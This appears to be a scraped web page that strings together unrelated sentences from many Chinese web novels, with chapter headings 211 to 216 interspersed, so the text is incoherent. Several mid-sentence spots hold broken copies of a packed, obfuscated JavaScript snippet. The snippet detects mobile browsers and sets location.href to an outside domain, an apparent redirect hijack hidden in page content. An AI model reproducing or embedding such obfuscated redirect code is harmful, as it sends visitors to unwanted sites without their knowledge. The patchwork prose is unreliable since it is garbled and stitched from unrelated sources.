老人面色大变再次变作满是焦急之色满头俱都流下汗珠但饶是他用尽所有力量却已再也发不出一丝声音來。 潘灵目瞪口呆她哪想得到背后还有这样的故事这实在是超出她的意料之中。 “他们是我们天毁联盟的人罗保同你别欺负人家!”说话的人是个面相威严的中年男子修为也不差合体后期的修为在这上百号人里也算是个好手。 赵柳蕠本来不觉得现在这个时候让郭采这样一说发现还真的是这样这实在是有一点好笑。 说罢爱怜的帮她擦拭眼泪李秀生已是一身冷汗刚才胜负只是毫厘之间。老汉太过谨慎否则自己已是一具尸体了。 “看你这打扮是王府哪个房的人?”冷月毫无畏惧莲步轻移踏步上前边走边打量着男子说道。脏污的下人服以及油头垢面的模样这人一看便是王府最低等的下人。 这事情是不能干的,特别这是王天的事情,更加不用说这可是一个超级大的计划,一旦玩儿砸了,后果是非常严重的,没有这个金刚钻就别揽瓷器活,这话可真的不是开玩笑的时候说说。 嘤咛一声,冷月转动着眼睑,酸涩又沉重,随着喟然一叹,纤长浓密的睫毛抖动了几分,那水眸再次绽放出风华媚态。 随着侍卫的通报,裴川跪于堂下,战战兢兢的看着皇上,显然是有些心虚。 杰西卡听到金承载的话,脸上瞬间变得温暖起来,一点点的汇聚着化不开的柔情。没有动作,也没有声音。只是静静的看着金承载的每一个动作。 这时,始皇帝心里面想着,要是这种场景发生在秦国的每一个村落该多好。 碎片割伤了他的掌心,血珠一颗颗往下掉。徐皎担心他会伤害自己,一边靠近一边解释,希望他能冷静下来,却不想胡亦成忽然拽住她的手臂,将她半拖半拽地扔出门外。 吕庸现在对唐浩这淡然无畏的表现越发的欣赏了,他不明白这样一个年轻人,为什么知道了危险之后,依然如此淡然平静,他不应该有这样的心态,也不应该有这样的自信。 在他知道那两人是忍刀七人众后,这些杂鱼已经不被他放在眼里了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095562|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >就在沙弘想着这次任务中的前段**,中段旅游,后段被追杀的经历。准备回到房间休息时,他没有注意到前方正有人朝他冲来,直接将他扑倒在地。 单膝跪在三代风影办公桌前,沙弘决定现编一个情报,反正这份情报也是事实,最多也就伪造一个传讯人而已。 众人不禁心生敬佩,从来不会患得患失,这大概就是大佬的从容吧。 下巴被人捏在手里,近在咫尺的是时遇那张脸,眼睛里像是敷了一层初冬的薄霜,可是深处却是不能忽视的火热,桃花眸周圈泛着淡淡的粉色,像是桃花瓣一样。 “你说话不算话!放开我!”伊芙琳想要挣脱,已经被强制带走。 第二天,是民俗清明节,唐枫照例早起,跑完步回到鹤山南路六号孙志辉的住处,孙志辉已经安排完公司的事物并准备好了早餐,热豆浆加油条、茶蛋。 原来豪哥掌控北城帮后,要求帮众任何人绝不得沾手黄、赌、毒。对控制区域的**场所执默许状态,但决不允许买卖**和逼良为娼等伤天害理的事情。 “傻丫头,跟着哲儿一起离开吧,你有了哲儿陪伴,所以我留下来陪着你父亲。”曹氏温和的说道,时刻不停的看着曹怜馨的脸颊,就像是要把她的模样刻进自己的灵魂里,好似完全没有感觉到手背上传来的疼痛。 “安安,这里说不定真是当年西王母住过的山洞呢?”迟华回头轻声和安安说道,这个时候竟然还有心思挑逗姑娘。 李婉惊诧,他曾听族中长辈提起过,有世外高人,在寿元油尽灯枯时,会选择一位有缘人,进行传功引渡,传授衣钵,纵然传功引渡过程中会损失大半本源,但哪怕只能接受一点点,那也能令被传者,洗精伐髓,修为大升。 第一卷 第211章 风雪楼! “五万两?我滴个乖乖……” “哪来的老不死的东西,不想活了?敢对本少宗主这般无礼!”火云怒喝道。 在岚城,几乎没有人不认识黎子谦。所以一路上,乔菀始终接受着无数目光和细碎声音的洗礼。 身为大祭司,她有一颗宽容的心,甚至对于厨师长,都没有太过愤怒,毕竟对方是被丹尼斯利用了,但这并不代表,她就没有脾气。 云晞“呵呵”了几声,没有开口说什么,只是直直地看了她刚刚认回来的父王几眼,然后就去看她刚认回来的母妃了。 “难道你不是?你不是游戏的总设计师吗?我听说你复职了,难道你还没复职?”肖凡很是讶异。 天界仙器在修真界也只是顶级门派才能拥有,而且每件都是镇派之宝,不到万不得已不会轻易拿出来,此刻骤然看到人家一出来就是几百个“天界仙器”,也难怪他们如此震惊。 慕容晴莞,为什么明明送走了她,可那抹疏离的倩影却依旧停留在脑海里,挥散不去。 “这位是野山梨吧?是不是来看战圣盟发布的悬赏任务?”话声就在肖凡耳边响起,正是一直盯着肖凡看的那个术士玩家。此人走上前来瞟了一眼公告栏,朗声说道。 回到家,集发现祈竟然在自己洗碗,水槽里发出‘乒呤乓啷’的声音。 乍一听到这个消息,傅静怡眸中蓦地有精光闪过,心中暗喜,是父亲,只要父亲在,皇上决计是不会要她的命的。 李天启没有停留,从屋梁上穿过了这个院落,来到了偏僻的后园。 以贝华的‘性’格,竟然说出这等话语,可以想象她被墨凡气成什么样子了。 尹雪本来一脸微笑,突然听到他说起邓家,脸上顿时有些不太好看。 “谢谢李总!”肖云飞接过了李汐的咖啡,缓缓地喝了一口,略有些苦,不过他喜欢,也符合他现在的心情。 张东海不怕抽空山高县和洛阳城的壮劳力,说不定当地官府巴不得这两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095563|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方只有当官的没有老百姓,当官的就可以随便卖当地的土地了。 于佳丽见苗婕油盐不进,赌气似的拽住苗婕的粉臂就往电梯走。苗婕犹豫了片刻,便也半推半就地随她了。 黄帝闻听此言,甚觉有理,他环视一下众人,其意思是想试看一下有何人会提出什么异议。 木南的表情也终于有了一些变化,问完还上上下下的打量了墨凡几眼,略微嘲讽的说道。 至于店面的事情,孟凡根本无须担心,直接交给了冯晓晓,现在公司已经颇具规模了,各部门齐全,要不是冯晓晓不放心,连她都不需要操劳,交给手下的人去做就行。 “好!李总!你把手伸出来,我搭下脉!”肖云飞说道,避开了自己昨晚去哪里的话题,手搭在了李汐的手腕上,闭上了眼睛,用心地听着李汐的脉搏与气息。 对,有一部分是从天上传来的,但不全是。在她周围的每个地方,左边、右边、前边、后边,甚至地下,都有同样的声音传来。 第一卷 第212章 上任在即! 然后在两人对视的一瞬间,在夏新闻到一股带着几分薄荷清凉的沐浴乳气息,随即把视线移到夏初妍身上那美好光景的时候。 尽管切了很长的广告片,但那段时间晴川电视台的收视率已经飙升到同时段全国前二,电视机前面的观众都等着看好戏呢,不说别的,各大广告商和冠名商肯定笑得连嘴巴都合不拢。 经过这个插曲,大家意识到崔元修是真的恶了徐佑,这墨宝怕是存不太久,马上吩咐的吩咐,安排的安排,将墙上的字全拓下来收藏,以防万一。 但是江流石刚才在变异肉虫身体上造成的巨大伤口,刚好让那爆燃火油进入了它体内焚烧。 我也没有说话,刚刚还想着找点话题来聊,此刻也心乱如麻,把那些想好的话都忘了个干干净净。 我能理解他这么说的苦衷,他是在选择这样一种方式,一方面不会让我失望而归,另一方面也是让自己的弟子参与历练,最重要的,还是他能够因此而避嫌。 师父面无表情对我说道,这下好玩了,这家伙跟咱们干上了,这样也好,既然要硬碰硬,倒是简单了许多。 当彩莹看着下面不断挣扎的他的儿子,她再次落泪了,这次她的眼泪并没有被那些火焰给吞噬,而是滴了进去,顺利地滴在了魔魇的额头。 张学斌不得不佩服顾北的远见性,用150万的代价让钟泽签订了一份补充协议,如果没有这份补充协议,高档楼宇的物业肯定不会准许他们入驻,但有了这份补充协议,钟泽就必须出面帮助他们摆平物业。 捆住两人的绳子虽然解开了,但他们哪里敢走?根据徐墨前面的表现,他们相信他说的解法是真的,但是,他们哪里敢确定在一个时辰内找到生长地比隔着雷鸣山的潜朝还远的地方的鬼面海胆? 怒气之中的风冷月随着李天锋的轻轻拍肩,身上的怒气竟然全部消散了,随后对着李天锋说‘我答应了你,今日,这东西,必定是你的,相信我!’眼神之中满是笑意的看着李天锋。 看着插在自己体内的剑,李天锋直接将剑拔了出来,任血液流失,将剑拿刀自己面前,深处舌头,舔了舔剑上那猩红的血液笑了起来,笑得是那般的残忍。 就像战士们慷慨赴战场,高川挺着胸膛面对着球迷看台两只手做出了扩音器的动作!然后对着球迷看台高高的鼓起了掌‘谢谢你们的加油助威,谢谢你们对我的鼓励支持’高川 心中默默道。 “等一下,你们在遗迹中有发现他的形象是什么样吗?”罗玲突然问道。 “杨主任,你放心,我们两家这几天要把订婚办得风风光光。”梁玉华拍了拍胸脯说。 徐墨心中一晒,但见对方没有发觉床上已经换了人,还是松了一口气。 挽着周南的手臂,忍不住紧了紧,似乎这样会给她更多的安全感。 四十年代的巴黎,跟六十年后没有多大的区别,除了没有哪个闻名世界的拉德芳斯商务区,市区的建筑变化不大。 苏清歌也充分发挥了一个好妻子的角色,端茶送水,有时还为他捏捏肩。 将他额头的汗擦掉后,苏清歌连忙撕开一张退烧贴贴在他的额头。 被抓住的部位正是安若还没有好的伤口,那次被短刀划伤的地方,这么用力的感觉……那种疼痛再次出现了,惹得安若裂开嘴不断地喘着气了。穿着长袖,陈涵根本就没有注意到,即便是她是知道也不会觉得怎么样的。 就在安若的视线放在了路凌的身上的时候,开始觉得气氛出现了些许的安静,更准确的像是这份平静之中,透着一丝丝的波动。来自他的心头的吗?安若开始这么想着,一时间根本就不能去好好地理解。 宋国安不动声色的给其他董事会成员递了个眼色,顿时附和声四起。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095564|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >麦子看看表,已经八点二十五了,还好没有错过这班电梯,不然就要迟到了。 “你现在给我这把枪很容易让我联想到,你是在怕我出门就被**。”苏清歌调笑道。 这似乎更像是在一个很简单的愿望,那个时候就是这么希望着,但是比现在有更多的想法。像是在毕业之后想要去的学校,有着几分憧憬,想想都觉得几分美好了。 楠西请了假,卓凌不放心要跟她一起去,但是她坚决不肯,这件事情关系到海海一辈子的幸福,她是一点都马虎不得,她想还是由她先去探听一下情况比较好,毕竟大森跟卓凌又不熟。 “想你了。”这一声及其娇媚带着几分尖利,想也不用想自然是阿德勒。 马拉波诺一见对方,立马知道了自己的猜测,没想到……他真的成功了。 不管秦芸怎么努力,都没有人过来帮她,还从来没有什么时候,秦芸变得那么无助过。 “好的,某知道了,某等会随机应变的。”林充给对方打个招呼。 “好呀,你喜欢吃什么?”一会儿之后,潇潇看了看高妍熙,然后,准备去准备吃的。 我走上前去查看了一下他们身上的伤势,除了老三喝多了摔倒在地上脸被石子割了一道口子之外,其他人倒是都还好。 谁知道她是怎么想的?他都以为自己够了解她了,自己没有做什么对不起她的事情,不过是替别人隐瞒了一些事情,她?不会深究。 于是两拨人就这样一直僵着,辰沐云不敢出去,他们也没有人敢做出头鸟进去。 “怎么回事,第一名就这么给让了?”诛仙队长在后台询问举办这个活动的经理。 这次从白光亮起到“人”吸收往尸体变成了白光球,全程约为十二秒,与之前看到的那次一模一样。而在这次结束之后,仅仅过了几秒,天花板再一次亮起白光,又有一波“人”被送了下来。 第一卷 第213章 全员封赏! 凌川并没有跟谢知命去天香楼,喝完一盏茶便起身告辞。 “什么时候去云州?”谢知命起身相送。 唔。他们不过是打酱油的出來围观一下。沒想到杀伤力这么强。他们不过是被殃及池鱼都这么严重了。 七一是来至一个让大家都羡慕的美丽的国度,那里有许多美丽品格高贵的人,和专业又邪恶的**。 仅仅一招电石火光之间,长剑寸寸断裂,叮叮当当落了一地,远处的王照惨叫一声倒落在地,不省人事。 “撒旦先生,你能胜利吗?”主持人,手持话筒,放在撒旦之前,恐惧的看了看擂台中心,压根就没有看这里的沙鲁。 若笙一下被拉过来,一下被扯下去,一阵头晕眼花,幸好早上没有吃什么要不然肯定值姐吐出来了。 十拳剑,被刺中的人会“永久”封印在醉梦的幻术世界里面,不具备物理攻击,不具备能抵挡这样强大的剑压攻击,但十拳剑一旦刺中敌人,危害程度。 医生拿过去看了一眼后,这才签单让医护人员抬岳隆天下车,迅速的拉进了医院,直接送进了急救室。 南王以及那位世子全部被灭杀,显而易见这场战斗已经可以宣告结束,但南王的骑兵,却还未曾全部被灭杀。 一身月白色的长裙,手臂上还挽着丈许长的烟罗紫色的轻纱,那轻纱随着项来的飘动而飞舞着,看起来项来就好像是从天而降,美极了。 傅念君明白浅玉话中的意思,大姚氏肯定一直是想留着浅玉给傅琨做妾的,但是又踟蹰犹豫,便一拖几年,直到怀了傅念君。 两旁的行人听到这里也都伸手来回的指指点点,随即被男人横了一眼后都禁声不说话,都以为这是男人家事,也都没出声阻止。 紧闭的窗户将整个房间都隔绝成了一个大大的烘箱,嘀嗒嘀嗒的汗珠落在地上摔成碎瓣,春秋倚靠在角落一旁,伸手正擦着脸颊两旁的汗珠。 单昀是见过他狂放不羁模样的,也没多大意外,只把周毓白交代他的事都说了一遍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095565|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他张口结舌,毕竟该怎么同傅念君相处说话,从来也没有人教过他。 她比闫雪年轻,这是优势,也是劣势。所以,她要靠时间来弥补这一切。 这次就算了,但是她发誓,以后再也不要理所当然的答应织星什么奇奇怪怪的请求了。 白薇话没说完,就见杨雪已迈步朝杨死走了过来,走到杨死身前二话没说抬手就打,‘啪’地一声脆响传来,杨死的脸上又多了个清晰地紫红色巴掌印。 这么聒噪又笨拙的徒弟,要他何用?!比起她封星影的徒弟叶景宁来,难道不是差远了? 她从师云齐背后偷袭,君天珩见状,立即从正面将师云齐缠住,怕他伤到兰珂。 “告诉所有人准备动手!”挂断男子的电话之后,我拿起一把刀裹在怀里,随后又检查了一下**,确认没问题之后,第一个下车。 餐厅背面的整面墙壁瞬间变成白色,灯光也慢慢暗了下去,墙面上开始播放“电影”,周三感觉的确是像电影。 第一卷 第214章 兴师问罪! 这是一个天大的好消息,不过一切似乎还没有完,就在远东舰队长邱军将战斗报告,发给李宁宇和刘清辉之后,一个新的问题似乎就来了。 尽管景墨轩是冷酷的典范,但与景墨轩接触的地方一阵炙热袭来,韩水儿的眼珠到处转,企图避开景墨轩的问题。 那一刻懒九突然心里有一种无力感,他觉得自己挺可笑的,表面上看是和蓝姬之间的感情矛盾,可是最深处却是两种价值观的碰撞,而这种碰撞根本就是他无法改变的。 “你这是什么态度,前些天还对我嘘寒问暖,今天是怎么了。”季淑敏不明所以。 “你打算怎么帮我完成自己的使命?”萧让明知故问,语气不善,好像是一座压抑的火山。 双方都士气如虹,厮杀在一起如同是有着杀父之仇的敌人一般,在这之中枫树下的约定也格外的显眼,一身金光所过之处,铁血的兄弟们全部加上了一系列状态,一时间变的更加的凶猛和勇猛。 横烺被电的话都说不利索,这种硬冲的方法显然比白羊焕川的极速突破之法笨拙了许多,雷厉一怔之间,猛的闪烁到了横烺的身边,手里紫金雷神刀,手起刀落,冲着横烺一刀就剁了过去。 见到自己的指甲被薛云劈断,一众丧尸都纷纷露出惧意,况且这龙泉透过这它们的防线直入肉体,瞬间血肉撕裂喷涌。 最近安西城中的外来人越来越多,其中也不乏些强者,改天换地的高手,当然岳锋也是趁虚而入笼络了一大批高手,其中就有七子,最为有名的七个圣子。 “这一走又要一段时间见不到你了……”和莫月赤着脚丫走在柔软的沙滩上,细细的沙子体贴而柔软地浸润着脚心,感觉十分惬意。 虽然说都是卿家的人,但是分了九房,自然不能够随便插手别的房的事儿的了。 韩子烨被韩连依的话堵的乖乖的闭上了嘴。想来他自从和她在一起,就被她吃的死死的,大气都不敢出一口。 想到这里,楚焕东再也坐不住了,他伸手拿过手机,还没等打出去,电话铃先响了起来,他看着熟悉的电话号码,轻轻出了一口气,连自己都没有意识到,那声‘喂’说的极其轻柔。 “你……”居然上了自己侄儿的老婆,人类真是**无耻的东西。 说话间,岳婉茹轻轻闭上眼睛,娇柔的身体扑倒在成远南的怀里。 冯萱见朱权见到自己的暗示后,全然会错了意,竟是弄巧成拙,再也忍耐不住,笑了出声来。 “鬼山?”听见这个熟悉的词,殷晟飞电同时转头,看向艳无双。 连续三个月不眠不休,不吃不喝的奔波寻找,上善**已经疲倦至极,饶是他有着大罗金仙顶尖的实力,在这种高强度的紧绷状态下,也不免心浮气燥。 刘太君一听到此话瞬间心就凉了,难道少爷罗强真的要遭此一劫? “云越,这份合约,我可能不能接受!”摆明了,他在让利,而她在占着大便宜。 叶笙面上依旧淡定,却也明白这家伙大概心中已经有了好几种对于他身份的猜想。 琦善身为满人勋贵,又是钦差大臣的身份,率兵建立了江北大营之后,又有夺回扬州的功勋,自然没把赵无极放在眼里。 眼看那颗猩红巨牙就要刺中沈寒,沈寒猛吸一口气,努力向后一跃,硬生生蹿了出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095566|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面的天突然下起雪来,簌簌的掉落,和着呢飘零的落叶,美的就像童话里的一样。 打定精神,沈寒右手紧紧握了握斩夜,一人一剑下定决心,继续深入,找到紫芒。 其实,她自己也听不懂,只是记得以前有人来他们村里做法事,就是这样做的,据说可以祛除邪祟,还能让人感觉不到疼痛。 虽然尤晞玥答应了合作,他也不可能完全的信任,还是会有所提防。 也没关系,这在场的江湖中人,武功其实也不如聚贤庄的人,因为在金系的里,年份越接近现代武功就越低。乔峰的聚贤庄一战是在宋朝,现在则是明代。 幸好最后约的时间是下午三点,要是早上九点的话,她铁定还没醒呢。 看着眼前这个跪在自己面前的,楚楚可怜正在认错的自己真正的结发夫妻,刘协心里也是既无奈,又心疼,还难受。 其实他想去医院给林深深亲自送饭,可是却又有点不知道怎么面对醒来的林深深。 她冲着墓碑深深的鞠了一个躬,望着墓碑看了一会儿,便转身,下了山。 但却突然间爆发出这种让她都深深恐惧的力量,远超妖将初期的强大实力。 原本停留在识海里面的八卦罗盘在这一刻旋转起来,一边吞噬那些各处飞窜的念力,一边试图修复破裂的识海。 孟芳毕竟是练过功夫的人,这一巴掌打的着实很重,鲜血沿着姚清沐的嘴角留了下来。 结果这会儿她才发现,和5270的联系再度中断了,很可能是因为这里的灵子能过于充沛,对信号有很强的干扰。她和肖白竺之间还能联系,是因为他们距离足够近。 第一卷 第215章 坟被人刨了? 且鞮侯大单瞧着又一年初雪,想起了流放北海三年来的汉使节苏武。他敬佩苏武的英勇气节,很想让他留下来,为匈奴民族的治理出力。坚昆王李陵和他同朝为官……于是就命令李陵去劝降苏武。 一声声闷响,一排殒神战**转动之间将箭矢对向飞来的三大城池之人。 司徒风,于是,道“师妹,你们没事就好,幸好有独远少侠相助! 苏武是什么都能来两下子,算是杂家。於靬王是摔跤射箭的行家里手。 “我是给你开玩笑的!常会也胳膊肘轻撞了他一下,撞上了他的胸部。 与姬家相同,剩下的八朵云中,是其他隐世家族的先天后期武者,或一人,或两人,都在抵挡不断涌现的攻击,他们感觉,出现的攻击太多,抵挡的手臂发麻,抵挡的痛苦不堪。 “你是不是傻?你不去雨涵怎么过来?你要是耽误了人家看你怎么办。邓婉贞一本正经地说。 只不过,因为那些死者家属的存在,谁也不能说这到底是件好事还是件坏事。 人们纷纷说道,石火龙见到惹了众怒,便缩了回去不再说话,脸上无比的尴尬。 然而,便是如此强者,依旧是惨败于东方,只留下半截身子的日国大神官渡边千鹤逃回了日国神社当中,再也不敢踏出日国半步。 可是苏奴和艾米不为所动,依旧紧紧盯着泰格,眼神中含着安慰的意思。泰格若有所觉的一抹连,手掌上满是湿痕,原来不知道什么时候,泰格的脸上已经流满了泪水。 “当然是接。林风话刚落音,直接对着李晓思粉色的嘴唇亲了起来。 “为什么?泰格很是奇怪,那里不是失落之地吗?在那里的不是失落之民吗?看恩里克的意思,好像那里想去就可以随便去似的,好像出门走亲戚一样。 郑牧知道,这已经是父亲的最大让步,他不敢在这个时候再多要求什么,只能勉为其难地点头应了下来。 苏奴和艾米虽然不大理解,但这个时候还是没有违逆泰格的意思,而且这也并不费事。 这次双方厮杀,坐收渔利,这种感觉实在美妙。想到这里,薛昊不禁满眼兴奋,作壁上观,等待着双方厮杀得差不多时,自己再出面解决,全部清扫。 “什么?两条?贺川!你真的是做厨师的吗,这项链可是真品,三十多万呢,什么时候做厨师这么赚钱!”萧莫吃惊的看着贺川,有些不敢相信的反问道。 顾森行色匆匆的样子,头发却还是被梳得一丝不苟,应该是刚从某个宴会上下来的。 前世初来时的不适应被那十余年的生活磨平,陶灼华如今对这片土地一点也不陌生。听得苏世贤话语里难得有丝恻隐之意,她只是宛尔微笑着并不做声。 各大家族里都有传承自远古时代的典籍,其中或多或少的都提到了一点关于远古时代的事情。 飞虎的眼睛,忽然停留在床上,电影里不是经常演,有人逃跑时,就把床单和被套撕成条,弄成绳子。一想到这里,飞虎心里大喜,自己何不尝试一下,说不定这就是希望。 门开后,洛千儿一只脚刚迈进门槛,一个瓷壶就摔在了她的脚边成了碎片,顺着脚边的碎片往前看,一地狼藉,屋子里能摔得的东西估计都已经被洛媛给摔了吧。 那么他现在需要做的就是看那个家伙到底在哪个地方,然后把那个家伙给抓住,这就是他现在所需要做的事。 言给予非常满意他的态度,抬起手臂打了个响指后,门外便走进来一名端着酒壶酒盏的太监,最后停在言潇予的身边。 所以说什么也不能答应昊天的这个要求,一颗脑袋摇的像个拨浪鼓似的。 从炎的怀里滑落,无忧摔在了地上,溅起一地的尘土,炎想要去扶她,可是看到她冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095567|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷的眼神,还是收回了伸到一半的手。 “它”被月光照得苍白的面上带着清冷的微笑,一双红唇越发显得刺眼,对紫鸢迸发出轻柔的声响。 此刻的赵森,也已经被满腔的热血所支配,此刻的他,便是那神座之上,裁决生死的存在。 “大哥,有阿东在你尽管放心,这里不管怎么说,也是你的地盘,如叶武不念你们父子之情,我阿东会亲自废了他“陈东说着,准备就走。 林天成再一次举刀斩向暴龙异兽,只是依旧被对方厚重的鳞甲给完全格挡住了,任由林天成如何发力也不能将其的鳞甲破开分毫。 “只有步入了金丹期的血蝠门高手,才能施展这引魂**!”天魔身后,一名黄泉门高手低声道。 “哥!!”晨曦的眼神瞬间决堤,她扑进我的怀里一顿嚎啕大哭。 “这个便是解药,请神君拿去后,给**者放在脑后当枕头,睡上三天,就能解毒。 要是以前,以反联盟圣教的实力,绝对不敢这样与圣域联盟开战。 苏逸将玉牌接在手中,明明没有感觉到任何气息,却是感觉到一种妖气弥漫,上面雕刻着天妖宗三个龙飞凤舞的大字。 三陆六州一海,混乱域,蛮妖林构筑了现存世界,一个蛮妖林,苏逸就花费了十几年,其他大州武道强者还有多少? 不过这一切,黑风老妖浑然不知,所以害怕灵阵会被外面的强者攻破,于是拼了命的继续凝聚法印,加持双鱼峰灵阵。 药童听到这里有些沉默,低头不语,他也知道林天成是在担心自己,他又何曾不想变强,他原本不喜战斗,为了留在林天成身边,他已经在强迫自己习惯和人战斗。 难怪那天明明是大姐姐让她去送的兰花,魏国公世子真收了,她反而诧异了。 顾沛猝不及防,一个趔趄往前扑去,原本围在那的混混下意识散开。 第一卷 第216章 前往云州! 牛大力虽然不知道什么意思,但他急忙一个闪身消失在视线当中。 巨鳄族长一听,它没想到猿王会说出这样的话来,还真会挑时机了,真无耻。它赶忙又践踏了几脚身下的熔岩猿王,阻止它的开口,但话已出口,已经为时已晚。 这一收拾就割下来一茬长势喜人的韭菜跟龙须菜,这个季节的韭菜最是鲜嫩,龙须菜也是幼嫩水灵。 莫惊春早听说过当朝达官贵人中十分流行点茶,客至设茶而不饭,客来点茶迎客,客罢点汤送客,是时人认为的风雅之举。 叶府从此被陈默抹去了痕迹,还是由原来的李城主担任平城的城主。 “我理解,”西莉亚沉思地说道。她想帮助英格马,只是不知道该怎么做。最终他必须独自面对这一切。她只能倾听。 莫惊春受到鼓舞,也高兴起来,顺带就把刚刚碰见薄青山的事给说了。 许多网友没耐心看他在那边吹嘘,直截了当地问他什么时候去打假。 随着胡珍珠的走近,苏余鼻间涌入一股渐浓的臭味,似鱼腥味又像饭馊了的味道。 此消息一出,天问宗众人争先参与。因人数众多,便定了个日子公开比试选人。 士兵们操动杠杆,投石机整个运作,几十发石蛋飞向天空,直直地落在撒克逊人的军阵中与他们身后的城镇的房屋上。 我们屏住呼吸,心里恐慌的站了起来走到走廊上排队,排完队,我们就有秩序的向操场走去,这一路上,很安静,谁也不敢说话,生怕讲话了,就会被魔鬼老师罚跑个十圈二十圈,或者是做俯卧撑。 他算是半个武人,对利器敏感非常。若当初自己送给沈瓷时,钗尾便是如此锋利,他必定会有所觉察。可她头上这件,分明是自己亲手赠予她的,为何要在后来将钗尾打磨得如此锋利? “茉儿,别怕,别怕。”嫡福晋本一直默默的看着,老爷子不在了,本来亲王袭到儿子这儿就只剩下郡王了,结果人前脚咽气,后脚降爵的旨意就来了。 凤咏看着大家,心想,这下坏了,如果魏华清真的**,真有可能成功的。 龙迹被这突如其来的攻击给震得后退连连,明明气流萦绕全身是做好了保护的,但是疾风的攻击却还是毫无阻碍的直击肉体。 满月龙抬起高昂的头颅,看着四周升起的白色,眉头一皱发现事情 和想象中的不太一样。 在这一刻,朱见濂几乎是要脱口而出了。告诉她汪直是他的杀母凶手,告诉她自己的顾虑和苦衷。可话头冒在嘴边,还是压了下去。 “唔,没用的!我曾经尝试过和别人合影,他们都看不到照片上的我,而且就算我挡在别人前面,他们也只会看到空白一片,觉得是曝光过度或是相机故障。”萌尾尾无可奈何的摆了摆手。 “抱歉,抱歉,原谅我,夫人,原谅我!”这个阉人侍者见势不妙急忙跪倒在地向着李基尼娅连连求饶,这是宫廷大臣德密斯修的意思,是说恺撒想给您一个惊喜。 一夜好眠,等第二天早上九点起来的时候,阿姨已经准备好了早餐,放在桌子上面,先起来的风泠澈已经坐在餐桌前默默地吃着早餐,第二个起来的是夏禹和林梦浅,两人一起走下来,看到风泠澈打了一声招呼入座。 可是现在整个府上的人都知道,自家主子得宠,那奴才们也都水涨船高。 简单吃过早点,罗辑带领纪隆君二人去了城中心一座规模更大的宅子城主府。 陈子陵一直在潜心的使用元神,**和抹去意志之中,幽冥炎王的烙印。 她刚搜索过MD,那是一家私人保安公司,做的相当大,是世界头号安保公司,行业翘楚,米**方重要的战略合作伙伴。 要知道不管是在摄政王府还是被贾宇带出来之后,她可是都没有饿过肚子的,现在看见一个讨人厌的家伙,自然是不能让她耽误了自己吃饭的时间。 三名男子从围观的牧民中走出,一前两后,穿过十八铁棍僧,来到圆桌旁。 巨大的奎龙,张着嘴满嘴尖牙,那舌头如利剑一般,好似**蛇吐信。看起来,有几分凶戾之感。 “谢谢,那我就不打扰侠士休息了”说完陈烈燃便离开了房间,严宫也继续打坐。 